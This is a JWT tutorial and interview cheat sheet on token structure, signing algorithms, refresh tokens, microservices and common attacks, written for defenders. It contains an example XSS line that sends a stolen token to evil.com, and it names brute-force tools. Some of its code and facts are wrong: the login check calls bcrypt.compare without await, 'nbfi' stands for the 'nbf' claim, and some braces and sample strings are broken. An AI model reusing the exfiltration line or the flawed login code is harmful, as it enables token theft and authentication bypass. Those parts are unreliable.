

JWT

Deep Dive

01

What is a JWT?

A self-contained, cryptographically signed token

The Core Idea

JWT stands for JSON Web Token. It is an open standard (RFC 7519) for securely transmitting information between two parties as a compact, URL-safe string. The key word is self-contained — the token itself carries everything the server needs to verify you, with no database lookup required.

Simple Explanation

Think of it like this:

Imagine a passport. When you log in, the server stamps and signs a passport for you. That passport contains your name, role, and an expiry date — all sealed with the government's (server's) official stamp. At every border (endpoint), the guard checks the stamp is genuine — they don't call the government every time. The passport IS the proof.

Tamper with even one letter inside the passport? The stamp won't match. Rejected.

Technical Explanation

For the developer:

A JWT is a Base64Url-encoded string with 3 parts separated by dots: Header.Payload.Signature. The server signs the token using a secret key (HMAC) or private key (RSA/ECDSA). Any party with the public key / secret can verify the signature without a database call. This makes JWTs stateless — ideal for distributed systems and microservices. JWTs are NOT encrypted by default — the payload is readable. Use JWE if you need encryption.

Anatomy of a JWT

Every JWT has exactly 3 parts, each Base64Url encoded and joined by dots:

HEADER	PAYLOAD	SIGNATURE
Algorithm & token type	User data / claims	Cryptographic proof
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9	eyJ1c2VyX2lkIjoxMjMsInJvbmGUioiJhZG1pbiJ9	SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV

DECODED JWT — WHAT EACH PART CONTAINS

```
// HEADER — Which algorithm is used to sign this token
{
  "alg": "HS256",    // HMAC SHA-256 signing algorithm
  "typ": "JWT"       // Token type
}

// PAYLOAD — The actual user data (called 'claims')
{
  "sub": "user_123",    // Subject: who this token is for
  "name": "John Doe",  // Custom claim: user name
  "role": "admin",      // Custom claim: user role
  "iat": 1712345678,    // Issued At: when it was created
  "exp": 1712349278    // Expires At: when it becomes invalid
}

// SIGNATURE — Tamper-proof seal
HMAC-SHA256(
  base64Url(header) + '.' + base64Url(payload),
  YOUR_SECRET_KEY
)
```

02

How JWT Works

The complete flow from login to API access

Simple Explanation

The stamp-and-carry analogy:

- Step 1: You show your ID at the door (login with username/password).
- Step 2: Security stamps a wristband with your name, VIP status, and expiry time.
- Step 3: You carry the wristband. At every booth inside, staff check the stamp — not HQ.
- Step 4: Wristband expired or tampered? Torn off at the door.

Key insight: You carry the proof. No one calls HQ every time. That is why JWTs scale.

Technical Explanation

The complete flow:

1. Client POSTs credentials to /auth/login.
2. Server validates credentials, builds JWT payload with claims + expiry.
3. Server signs the JWT: Signature = HMAC-SHA256(header.payload, SECRET_KEY).
4. Server returns the signed JWT to the client.
5. Client stores JWT (memory or HttpOnly cookie — never localStorage for sensitive apps).
6. Every subsequent request: Authorization: Bearer <token> header.
7. Server splits token, recomputes signature, checks exp claim — no DB lookup.
8. If valid → process request. If invalid/expired → 401 Unauthorized.

Step-by-Step Flow

1

Client sends credentials

POST /auth/login { username: 'john', password: 'secret' }

2

Server validates and creates JWT

Checks DB, builds payload with user_id + role + exp, signs with secret

3

JWT returned to the client

Response: { token: 'eyJhbGci...' } — client stores it securely

4

Client sends JWT on every request

Authorization: Bearer eyJhbGci... (no credentials needed again)

5

Server verifies signature

Splits token → recomputes HMAC → checks exp → trusts payload

6

Access granted

Server reads role/user_id from payload — zero DB lookup needed

JWT FULL FLOW — CODE EXAMPLE

```
// STEP 1: Login — server creates JWT
app.post('/auth/login', (req, res) => {
  const user = db.findUser(req.body.username);
  if (!bcrypt.compare(req.body.password, user.passwordHash)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  const token = jwt.sign(
    { sub: user.id, role: user.role }, // payload
    process.env.JWT_SECRET,           // secret key
    { expiresIn: '1h' }                // expiry
  );
  res.json({ token });
});

// STEP 2: Protected route — server verifies JWT
app.get('/api/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    // decoded = { sub: 'user_123', role: 'admin', exp: 1712349278 }
    res.json({ user: decoded });
  } catch (err) {
    res.status(401).json({ error: 'Invalid or expired token' });
  }
});
```

03

JWT Claims

What lives inside the payload — and what each field means

What are Claims?

Claims are statements about the user (or any entity) packed inside the JWT payload. There are 3 types:

Type	Keys	Purpose
Registered	<code>iss</code> , <code>sub</code> , <code>aud</code> , <code>exp</code> , <code>nbfi</code> , <code>iat</code> , <code>jti</code>	Standard, pre-defined by the JWT spec (RFC 7519)
Public	<code>name</code> , <code>email</code> , <code>role</code> , <code>org_id</code>	Custom claims registered to avoid collisions
Private	<code>user_plan</code> , <code>feature_flags</code> , <code>tenant_id</code>	App-specific claims agreed between parties

Registered Claims — Know These Cold

Claim	Full Name	Meaning
<code>iss</code>	Issuer	Who created the token (e.g. 'auth.myapp.com')
<code>sub</code>	Subject	Who the token is about (usually <code>user_id</code>)
<code>aud</code>	Audience	Who the token is intended for (e.g. 'api.myapp.com')
<code>exp</code>	Expiration	Unix timestamp when the token expires — always validate this
<code>nbfi</code>	Not Before	Token is not valid before this timestamp
<code>iat</code>	Issued At	Unix timestamp when the token was created
<code>jti</code>	JWT ID	Unique token ID — used for blacklisting / one-time tokens

Interview tip — what NOT to put in a JWT payload:

The payload is Base64Url encoded — NOT encrypted. Anyone can decode it.
Never store: passwords, credit card numbers, SSNs, or any secrets in the payload.
Think of the payload as a sealed envelope you can hold up to light — content readable, but tampering is visible. Store only what the server needs to process the request.

04

Signing Algorithms

How the cryptographic signature actually works

Simple Explanation

Two types of locks:

SYMMETRIC (HS256): One key locks AND unlocks. Both sides share the same secret.
Like a padlock where you give a copy of the key to your friend — great if you trust them.

ASYMMETRIC (RS256): A private key locks, a public key unlocks.
Like a mailbox — anyone can drop mail in (encrypt), only you can take it out (decrypt).
Your private key never leaves you. Anyone can verify tokens with your public key.

Technical Explanation

Algorithm	Type	Key	Use Case
HS256	Symmetric	Shared secret	Single server / internal services
HS512	Symmetric	Shared secret	Same as HS256, stronger hash
RS256	Asymmetric	Private/Public	Microservices, third-party tokens
ES256	Asymmetric	EC Private/Public	Mobile apps, high-performance APIs

HS256 vs RS256 — KEY DIFFERENCE IN CODE

```
// HS256 - Symmetric: same secret to sign AND verify
const token = jwt.sign(payload, 'my_shared_secret');
const decoded = jwt.verify(token, 'my_shared_secret');
// Problem: every service that verifies ALSO has the power to create tokens

// RS256 - Asymmetric: private key signs, public key verifies
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// Benefit: share public key freely - only auth server can mint tokens
// This is how Google and Auth0 work
```

Rule of thumb:

Single server app or internal microservices you fully control → HS256 is fine.

Multiple services, third-party token verification, or you need to share the verifier → RS256.

Performance critical (mobile/IoT) → ES256 (elliptic curve, smaller + faster than RSA).

05

Security & Best Practices

What juniors get wrong — and what seniors check first

Common JWT Vulnerabilities

1. The 'alg: none' Attack

What it is:

Some old JWT libraries accept { "alg": "none" } — meaning no signature needed. An attacker could craft a token with any payload and set alg to none. The server would accept it as valid. Always explicitly specify allowed algorithms.

FIX: Always whitelist algorithms

```
// WRONG — vulnerable to alg:none attack
jwt.verify(token, secret);

// CORRECT — explicitly specify allowed algorithms
jwt.verify(token, secret, { algorithms: ['HS256'] });
```

2. Weak Secret Keys

What it is:

Using short or guessable secrets like 'secret', '123456', or 'jwt_secret' allows attackers to brute-force the signature and forge tokens with any payload they want.

FIX: Use cryptographically random secrets

```
// WRONG
const SECRET = 'mysecret';

// CORRECT — at least 256-bit random secret
const SECRET = require('crypto').randomBytes(64).toString('hex');
// Or store in environment: process.env.JWT_SECRET
```

3. Storing JWT in localStorage

What it is:

localStorage is accessible by any JavaScript on the page — including injected scripts. An XSS (Cross-Site Scripting) attack can steal your entire JWT from localStorage. Use HttpOnly cookies instead — JavaScript cannot read them at all.

FIX: Use HttpOnly cookie storage

```
// WRONG — localStorage is XSS vulnerable
localStorage.setItem('token', jwt);

// CORRECT — HttpOnly cookie (JS cannot access this)
res.cookie('token', jwt, {
  httpOnly: true,    // no JS access
  secure: true,      // HTTPS only
  sameSite: 'Strict' // CSRF protection
});
```

Best Practices Checklist

Do This

- Set short expiry (15 mins–1 hour for access tokens)
- Use refresh tokens for long-lived sessions
- Always validate exp, iss, and claims
- Use RS256 for distributed systems
- Store in HttpOnly cookies for web apps
- Use HTTPS — always, no exceptions
- Rotate secrets regularly

Never Do This

- Store passwords or secrets in payload
- Use 'alg: none' or skip algorithm check
- Use weak/short secret keys
- Store JWT in localStorage
- Set expiry to 'never' or very long
- Expose JWT in URLs or logs
- Skip signature verification

JWT vs Session — When to Use Which

Use JWT when...

- Building microservices or distributed systems
- Mobile apps or SPAs that call multiple APIs
- You need stateless, scalable authentication
- Sharing tokens across different domains/services

Use Sessions when...

- Building traditional server-rendered web apps
- You need instant token revocation (logout)
- Single-server apps with Redis available
- Security is top priority over scalability

JWT

Advanced Guide

Security • Sessions • Refresh Tokens • Microservices

01

JWT Security & Attacks

The vulnerabilities every developer must know — and how to fix them

Why JWT Security Matters

JWTs are the keys to your kingdom. A compromised token gives an attacker full identity. Unlike passwords, tokens can be used silently — no login attempt, no alert. Understanding attack vectors is not optional.

Attack 1 — The 'alg: none' Exploit

Simple Explanation

What this looks like in plain English:

Imagine a signed cheque. The bank is supposed to verify your signature before cashing it. But a bug means if you write 'no signature needed' on the cheque, the bank just cashes it. The alg:none attack is exactly this — an attacker crafts a token saying 'don't verify me' and vulnerable servers just... accept it. No password, no secret key, full access.

Technical Explanation

How the attack works:

JWT spec allows alg: none for unsecured tokens. Some libraries honour this at runtime. Attacker takes a valid token, changes the payload (e.g. role: admin), sets alg: none, removes the signature, and sends it. Vulnerable server skips signature check → access granted. Fix: explicitly whitelist allowed algorithms. Never accept alg: none from clients.

ALG:NONE ATTACK — AND THE FIX

```
// ATTACK: Attacker sends this crafted token
// Header: { "alg": "none", "typ": "JWT" }
// Payload: { "user_id": 1, "role": "admin" }
// Signature: (empty string)
// Result on vulnerable server: ACCEPTED

// VULNERABLE code
const decoded = jwt.verify(token, secret); // accepts alg:none!
```

```
// SECURE fix - always whitelist algorithms
const decoded = jwt.verify(token, secret, {
  algorithms: ['HS256'] // ONLY accept HS256, nothing else
});
```

Attack 2 — Weak Secret Key (Brute Force)

Simple Explanation

What this looks like in plain English:

If your house key is '1234', a thief can try every 4-digit combo in seconds and get in. A weak JWT secret works the same way. Tools like hashcat can test millions of common secrets per second against a stolen token. Once they crack the secret, they can forge any token — admin, superuser, any account — and your server accepts it as genuine.

Technical Explanation

How the attack works:

HS256 is an HMAC — the signature is deterministic given the payload and secret. Attacker captures a valid JWT from traffic or a data breach. Uses offline brute-force tools (hashcat, jwt-cracker) to try millions of secrets. Weak secrets like 'secret', 'password', 'jwt123' crack in under a second. Once cracked: attacker signs any payload with the secret → server trusts it.

GENERATING A SECURE SECRET KEY

```
// WRONG - weak, guessable secrets
const SECRET = 'secret';
const SECRET = 'jwt_secret_key';
const SECRET = 'myapp123';

// CORRECT - cryptographically random, 256-bit minimum
// Generate once and store in environment variable:
node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// Output: a8f3b2c1d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8...(128 hex chars)

// In your app - always load from env, never hardcode
const SECRET = process.env.JWT_SECRET;
if (!SECRET) throw new Error('JWT_SECRET not set - refusing to start');
```

Attack 3 — Token Theft via XSS

Simple Explanation ●

What this looks like in plain English:

You leave your house keys on a table in a cafe. Someone walks by and copies them. localStorage is that table. Any JavaScript on your page — including injected scripts from a third-party library with a supply chain attack — can read localStorage. One line: `localStorage.getItem('jwt')` → attacker has your token. Game over.

Technical Explanation 🖥️

How the attack works:

XSS (Cross-Site Scripting) injects malicious JS into your page via user input or CDN. Injected script runs: `fetch('https://evil.com/?t=' + localStorage.getItem('jwt'))`. Attacker receives the JWT. Can now impersonate the user from any device. HttpOnly cookies are immune — JS cannot access them at all, even with XSS.

TOKEN STORAGE — WRONG vs RIGHT

```
// WRONG — XSS vulnerable
localStorage.setItem('access_token', jwt);
// Any JS can steal this: document.cookie, localStorage.getItem...

// CORRECT — HttpOnly cookie (set server-side)
res.cookie('access_token', jwt, {
  httpOnly: true,    // JS cannot read this — immune to XSS
  secure: true,      // HTTPS only — never sent over HTTP
  sameSite: 'Strict',// CSRF protection
  maxAge: 3600000    // 1 hour in ms
});

// For SPAs that must use JS storage: store in memory only
// (lost on page refresh — pair with refresh token in HttpOnly cookie)
let accessToken = null; // in-memory, never persisted
```

Attack 4 — JWT Replay Attack

Simple Explanation ●

What this looks like in plain English:

A stolen concert ticket can be used by anyone who has it — until it expires. A stolen JWT is the same. Even after a user logs out, if the token hasn't expired, an attacker who grabbed it earlier can still use it. JWTs have no built-in revocation. The server sees a valid signature and valid expiry — it trusts it. User is helpless.

Technical Explanation

Three mitigation strategies:

1. SHORT EXPIRY: Keep access tokens short-lived (5-15 mins). Limits the replay window.
2. JTI BLACKLIST: Store jti claim in a DB/Redis. On logout, add jti to blacklist. Check blacklist on every request. Adds state but enables true revocation.
3. REFRESH TOKEN ROTATION: Invalidate old refresh tokens on use. Detect token reuse (if old refresh token is used again → security breach → revoke all tokens).

JTI BLACKLIST IMPLEMENTATION

```
// On login - add unique jti to token
const token = jwt.sign(
  { sub: user.id, jti: crypto.randomUUID() },
  SECRET,
  { expiresIn: '15m' }
);

// On logout - blacklist the jti
await redis.set(`blacklist:${decoded.jti}`, '1', 'EX', 900); // 15min TTL

// On every request - check blacklist first
const isBlacklisted = await redis.get(`blacklist:${decoded.jti}`);
if (isBlacklisted) return res.status(401).json({ error: 'Token revoked' });
```

Security Checklist

Always Do This

- ✓ Whitelist algorithms explicitly
- ✓ Use 256-bit+ random secrets
- ✓ Store in HttpOnly cookies
- ✓ Set short expiry (15 min access)
- ✓ Validate exp, iss, aud claims
- ✓ Use HTTPS everywhere
- ✓ Implement refresh token rotation

Never Do This

- ✓ Accept alg:none tokens
- ✓ Use weak or hardcoded secrets
- ✓ Store JWT in localStorage
- ✓ Set expiry to days or never
- ✓ Skip signature verification
- ✓ Log tokens in plaintext
- ✓ Share signing secrets across services

02

JWT vs Session Authentication

The most debated topic in backend development — settled clearly

The Core Difference

JWT

STATELESS

Token carries the identity.
Server trusts the signature.

Session

STATEFUL

Server holds the identity.
Client holds just an ID.

Simple Explanation

Two different mental models:

JWT is like a passport. You carry all your information with you. Border control checks the stamp and trusts what's written — no phone call to the embassy needed.

Session is like a coat check ticket. You carry a ticket number. To know who you are, the coat check (server) has to look up your number in their records every single time.

Passport = stateless, portable, self-contained.

Coat check = stateful, instant revocation, server controls everything.

Technical Explanation

How each works under the hood:

JWT: Client stores token. Server verifies signature on each request. Zero DB lookup.
State lives in the token. Scales horizontally — any server can verify any token.

Session: Client stores only session_id (in cookie). Server looks up session_id in DB or Redis on every request. State lives on the server. Instant revocation.
Horizontal scaling requires shared session store (Redis cluster).

Side-by-Side Comparison

Aspect	JWT	Session
State	Stateless — token IS the state	Stateful — state stored on server
Storage	Client (HttpOnly cookie or memory)	Server (DB / Redis)
Scalability	Excellent — any server can verify	Needs shared session store
Revocation	Hard — wait for expiry or blacklist	Instant — delete session record
DB Lookup	None per request	One per request
Token Size	Larger (~200-500 bytes)	Tiny (just session_id)
Best For	Microservices, APIs, mobile apps	Traditional web apps, high security
Logout	Complex — needs blacklist or rotation	Simple — delete session server-side

When to Use Which

Use JWT when...

- Microservices / distributed architecture
- Mobile apps or SPAs calling multiple APIs
- Stateless, horizontally scalable systems
- Tokens shared across domains or services
- Third-party service authentication

Use Sessions when...

- Traditional server-rendered web apps
- Instant logout / revocation is critical
- Single-server or Redis-backed systems
- Handling highly sensitive data (banking)
- User accounts need frequent permission updates

The Hybrid Approach (Best of Both)

What most production systems actually use:

Short-lived JWT access token (5-15 mins) stored in memory for API calls.

Long-lived refresh token stored in HttpOnly cookie — used only to get new access tokens.

This gives you: JWT stateless speed + session-like revocation via refresh token invalidation.

When user logs out: invalidate the refresh token on the server. Old access tokens expire naturally within minutes. Security win without full statefulness.

03

Refresh Tokens Explained

How to keep users logged in safely without long-lived access tokens

The Problem Refresh Tokens Solve

Simple Explanation ●

The security dilemma:

Short access tokens (5 min) = secure but annoying — user logs in every 5 minutes.

Long access tokens (30 days) = convenient but dangerous — stolen token works for 30 days.

Refresh tokens solve this dilemma. Give users a short-lived access token (15 mins)

AND a long-lived refresh token (30 days) stored in a safe, JS-inaccessible cookie.

When the access token expires, silently swap it using the refresh token. User never notices.

Technical Explanation 🖥️

How the two-token system works:

Access Token: Short-lived JWT (5-15 mins). Used for every API call. Stored in memory.

Refresh Token: Long-lived opaque token (7-30 days). Stored in HttpOnly cookie.

Sent only to the /auth/refresh endpoint. Never used for API calls.

On access token expiry: client silently calls /auth/refresh with the refresh token cookie.

Server validates refresh token against DB, issues new access token (and optionally a new refresh token — called rotation). Old refresh token is invalidated immediately.

The Complete Refresh Token Flow

1

User logs in

Server issues: access token (15 min, in response body) + refresh token (30 days, HttpOnly cookie)

2

Client uses access token for API calls

Authorization: Bearer <access_token> — works for 15 minutes

3

Access token expires

API returns 401. Client intercepts — does NOT show error to user yet

4

Silent token refresh

Client calls POST /auth/refresh — refresh token cookie auto-attached by browser

5

Server validates refresh token

Checks DB: token exists, not expired, not revoked. Issues new access token.

6

Original request retried

Client retries the failed request with new access token — user never noticed

7

On logout

Client calls POST /auth/logout. Server deletes refresh token from DB. Both tokens dead.

REFRESH TOKEN — FULL IMPLEMENTATION

```
// LOGIN — issue both tokens
app.post('/auth/login', async (req, res) => {
  const user = await validateCredentials(req.body);
  const accessToken = jwt.sign({ sub: user.id, role: user.role }, ACCESS_SECRET,
    { expiresIn: '15m' });
  const refreshToken = crypto.randomBytes(64).toString('hex'); // opaque, not JWT

  // Store refresh token hash in DB (never store plaintext)
  await db.refreshTokens.create({
    tokenHash: hash(refreshToken),
    userId: user.id,
    expiresAt: new Date(Date.now() + 30 * 24 * 60 * 60 * 1000) // 30 days
  });

  res.cookie('refresh_token', refreshToken, { httpOnly: true, secure: true,
    sameSite: 'Strict' });
  res.json({ accessToken }); // access token in body, refresh token in cookie
});

// REFRESH — swap expired access token for new one
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });

  const stored = await db.refreshTokens.findOne({ tokenHash: hash(refreshToken) });
  if (!stored || stored.expiresAt < new Date()) {
    return res.status(401).json({ error: 'Invalid or expired refresh token' });
  }
}
```

```
// Rotation: invalidate old, issue new refresh token
await db.refreshTokens.delete({ tokenHash: hash(refreshToken) });
const newRefreshToken = crypto.randomBytes(64).toString('hex');
await db.refreshTokens.create({ tokenHash: hash(newRefreshToken), userId:
stored.userId, expiresAt: ... });

const newAccessToken = jwt.sign({ sub: stored.userId }, ACCESS_SECRET, {
expiresIn: '15m' });
res.cookie('refresh_token', newRefreshToken, { httpOnly: true, secure: true,
sameSite: 'Strict' });
res.json({ accessToken: newAccessToken });
});
```

Refresh Token Rotation — Why It Matters

The security mechanism explained:

Without rotation: one stolen refresh token is valid for 30 days. Attacker stays in indefinitely.

With rotation: every time a refresh token is used, it is invalidated and replaced with a new one. Each refresh token is single-use. If an attacker steals an old refresh token and tries to use it after the legitimate user already used it — the server detects a reuse attempt.

On reuse detection: revoke ALL refresh tokens for that user. Force full re-login. This limits the attack window to minutes and gives you breach detection for free.

Refresh Token Pros

- ✓ Short-lived access tokens = limited theft window
- ✓ Long user sessions without re-login
- ✓ Rotation detects token theft automatically
- ✓ Revocable — delete from DB on logout

Refresh Token Cons

- ✗ Added complexity vs simple JWTs
- ✗ Requires DB/Redis for token storage
- ✗ Adds one extra request on token expiry
- ✗ Must handle rotation race conditions

04

JWT in Microservices

Why JWTs are the default choice for distributed architectures

Why Microservices Need JWT

Simple Explanation

The distributed identity problem:

In a single server app, one database holds sessions. Easy.

In microservices, you have 20 different services — Order Service, Payment Service, Notification Service, User Service... Each needs to know who you are.

Sessions would mean: either every service calls User Service to validate identity (bottleneck, single point of failure), or every service has its own session store (nightmare to sync). JWT solves this: the token carries identity. Any service with the public key can verify it independently. Zero coordination needed.

Technical Explanation

The stateless identity propagation model:

A central Auth Service issues JWTs signed with its private key (RS256).

All other services hold only the public key — they can verify tokens but never issue them.

JWT travels in the Authorization header across all inter-service calls.

Each service independently validates: signature valid? exp not passed? aud correct?

No network call to Auth Service needed per request. Fully decentralised verification.

The Microservices JWT Architecture

1

Client authenticates with Auth Service

POST /auth/login → Auth Service validates credentials, issues RS256-signed JWT

2

Client calls API Gateway

Authorization: Bearer <jwt> — Gateway verifies JWT with Auth Service public key

3**Gateway routes to target service**

Passes JWT along in header — each downstream service also verifies independently

4**Services verify without calling Auth Service**

Each service has the public key cached locally — signature check is pure math, no network

5**Service reads claims directly from token**

user_id, role, tenant_id pulled from payload — no DB lookup for identity

MICROSERVICES JWT SETUP — AUTH SERVICE (ISSUES TOKENS)

```
// Auth Service — signs with PRIVATE key (never shared)
const privateKey = fs.readFileSync('./keys/private.pem');

const token = jwt.sign({
  sub:      user.id,
  role:     user.role,
  tenant_id: user.tenantId,
  iss:      'auth.mycompany.com',    // issuer
  aud:      ['api.mycompany.com'],   // intended audience
}, privateKey, {
  algorithm: 'RS256',
  expiresIn: '15m',
  jwtid:     crypto.randomUUID()    // for blacklisting if needed
});

// Other services — verify with PUBLIC key only (safe to distribute)
const publicKey = fs.readFileSync('./keys/public.pem');

function verifyToken(token) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],
    issuer:     'auth.mycompany.com', // reject tokens from other issuers
    audience:   'api.mycompany.com',  // reject tokens meant for others
  });
}
```

Service-to-Service JWT (Machine Auth)

Simple Explanation

When services talk to each other:

Not all requests come from users. Order Service might call Payment Service directly. These machine-to-machine calls also need authentication — you don't want Payment Service to accept requests from just anyone claiming to be Order Service.

Solution: each service has its own identity token (like an API key but JWT-based).

SERVICE-TO-SERVICE JWT (OAUTH CLIENT CREDENTIALS)

```
// Order Service requesting a token to call Payment Service
const response = await fetch('https://auth.mycompany.com/token', {
  method: 'POST',
  body: new URLSearchParams({
    grant_type: 'client_credentials',
    client_id: process.env.ORDER_SERVICE_CLIENT_ID,
    client_secret: process.env.ORDER_SERVICE_CLIENT_SECRET,
    scope: 'payments:create payments:read'
  })
});
const { access_token } = await response.json();

// Now call Payment Service with the service token
await fetch('https://payment-service/api/charge', {
  headers: { 'Authorization': `Bearer ${access_token}` },
  body: JSON.stringify({ amount: 99.99, ... })
});

// Payment Service verifies and checks scope
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
// decoded.sub = 'order-service', decoded.scope = 'payments:create payments:read'
```

Key Distribution — JWKS (JSON Web Key Set)

How services get the public key automatically:

Instead of manually copying public keys to every service, the Auth Service exposes a JWKS endpoint: GET /.well-known/jwks.json

This returns all active public keys in a standard format.

Services fetch and cache this automatically. When keys rotate, services pick up the new key automatically. No manual key distribution. This is how Google, Auth0, and every major identity provider works.

JWKS ENDPOINT RESPONSE EXAMPLE

```
// GET https://auth.mycompany.com/.well-known/jwks.json
{
  "keys": [{
    "kty": "RSA",
    "use": "sig",
    "kid": "key-2024-01", // Key ID — matches kid in JWT header
    "n": "0vx7agoebGcQSuu...", // RSA public key modulus
    "e": "AQAB" // RSA public key exponent
  }]
}
```

```
// Services verify by:  
// 1. Read kid from JWT header  
// 2. Find matching key in cached JWKS  
// 3. Verify signature with that key  
// 4. Refresh JWKS cache if kid not found (key rotation)
```

JWT in Microservices — Pros

- ✓ No central session store needed
- ✓ Any service can verify independently
- ✓ Carries user context across services
- ✓ RS256 — only Auth Service can mint tokens
- ✓ Works across different languages/stacks

JWT in Microservices — Watch Out For

- Token size grows with more claims
- All services must stay clock-synced (NTP)
- Public key distribution needs automation
- Short expiry means frequent refresh calls
- Revocation still hard — needs blacklist or short TTL

05

Interview Cheat Sheet

Top questions across all 4 JWT topics — with complete answers

JWT Security Questions

Q1

What is the alg:none vulnerability and how do you prevent it?

The JWT spec allows alg:none for unsigned tokens. Some libraries honour this if not configured properly — an attacker can forge any payload without a secret key. Fix: always explicitly whitelist algorithms: `jwt.verify(token, secret, { algorithms: ['HS256'] })`.

Q2

Where should JWTs be stored on the client?

HttpOnly cookies for web apps — JavaScript cannot read these, making them immune to XSS attacks. In-memory (JS variable) for SPAs needing cross-domain requests. Never in localStorage — any XSS attack can steal tokens stored there.

Q3

How do you invalidate a JWT before it expires?

Three approaches: (1) Keep access tokens short-lived (5-15 min) — small theft window. (2) JTI blacklist — store jti in Redis on logout, check it on every request. (3) Refresh token rotation — revoke the refresh token, access tokens expire naturally.

JWT vs Session Questions

Q4

What is the main difference between JWT and session authentication?

JWT is stateless — the token carries the identity, server verifies the signature with no DB lookup. Sessions are stateful — server stores session data, client holds only a session_id that maps to server-side state. JWT scales better; sessions offer instant revocation.

Q5

When would you choose sessions over JWT?

When instant revocation is critical (e.g. banking, account suspension), when building a traditional server-rendered web app, or when all servers share a Redis session store. Also when tokens contain frequently-changing permissions that must take effect immediately.

Q6

Can you use both JWT and sessions together?

Yes — this is the hybrid approach. Short-lived JWT access token in memory for API calls (stateless speed), long-lived refresh token in an HttpOnly cookie backed by DB (revocability). Most production systems use this pattern.

Refresh Token Questions

Q7 What is a refresh token and why do we need it?

A refresh token is a long-lived credential used only to obtain new short-lived access tokens. It solves the security-vs-convenience dilemma: access tokens stay short (15 min, limiting theft impact) while users stay logged in for days without re-authenticating.

Q8 What is refresh token rotation and why does it matter?

Rotation means each refresh token is single-use — using it invalidates it and issues a new one. If an attacker steals a refresh token and tries to reuse it after the legitimate user has already refreshed, the server detects the reuse. Security response: revoke all tokens for that user.

Q9 Should refresh tokens be JWTs?

Generally no. Refresh tokens should be opaque random strings stored in DB. This allows true revocation — you can delete them. JWTs are self-validating and cannot be revoked without a blacklist. The only advantage of JWT refresh tokens is avoiding the DB lookup, but for a long-lived sensitive token, the DB check is worth it.

Microservices Questions

Q10 Why are JWTs preferred over sessions in microservices?

Sessions require a shared store — every service needs access to the same Redis/DB. JWTs are self-contained: any service with the public key can verify identity independently. No network call to a central auth service per request. Scales horizontally without coordination.

Q11 What is the difference between HS256 and RS256 in microservices?

HS256 uses a shared secret — every service that verifies tokens also has the power to create them, which is a security risk. RS256 uses asymmetric keys: only the Auth Service has the private key to sign, all other services hold only the public key to verify. This follows the principle of least privilege.

Q12 What is JWKS and why is it used?

JWKS (JSON Web Key Set) is a standard endpoint (`/well-known/jwks.json`) that publishes public keys. Instead of manually distributing public keys to every service, they fetch and cache the JWKS

automatically. When keys rotate, services pick up new keys seamlessly. Used by Google, Auth0, and all major identity providers.

The One-Paragraph Answer for Any JWT Interview

Say this — and you will stand out:

"JWT is a stateless, self-contained token that carries user claims and is cryptographically signed. In production, we use short-lived access tokens (15 min) with refresh token rotation for security. For microservices, RS256 is preferred — only the Auth Service holds the private key, all downstream services verify with the public key via JWKS. The biggest JWT pitfalls are weak secrets, storing tokens in localStorage (XSS risk), and skipping algorithm whitelisting (alg:none attack). When revocation is critical, we either keep tokens short-lived, maintain a JTI blacklist in Redis, or use a hybrid session+JWT approach."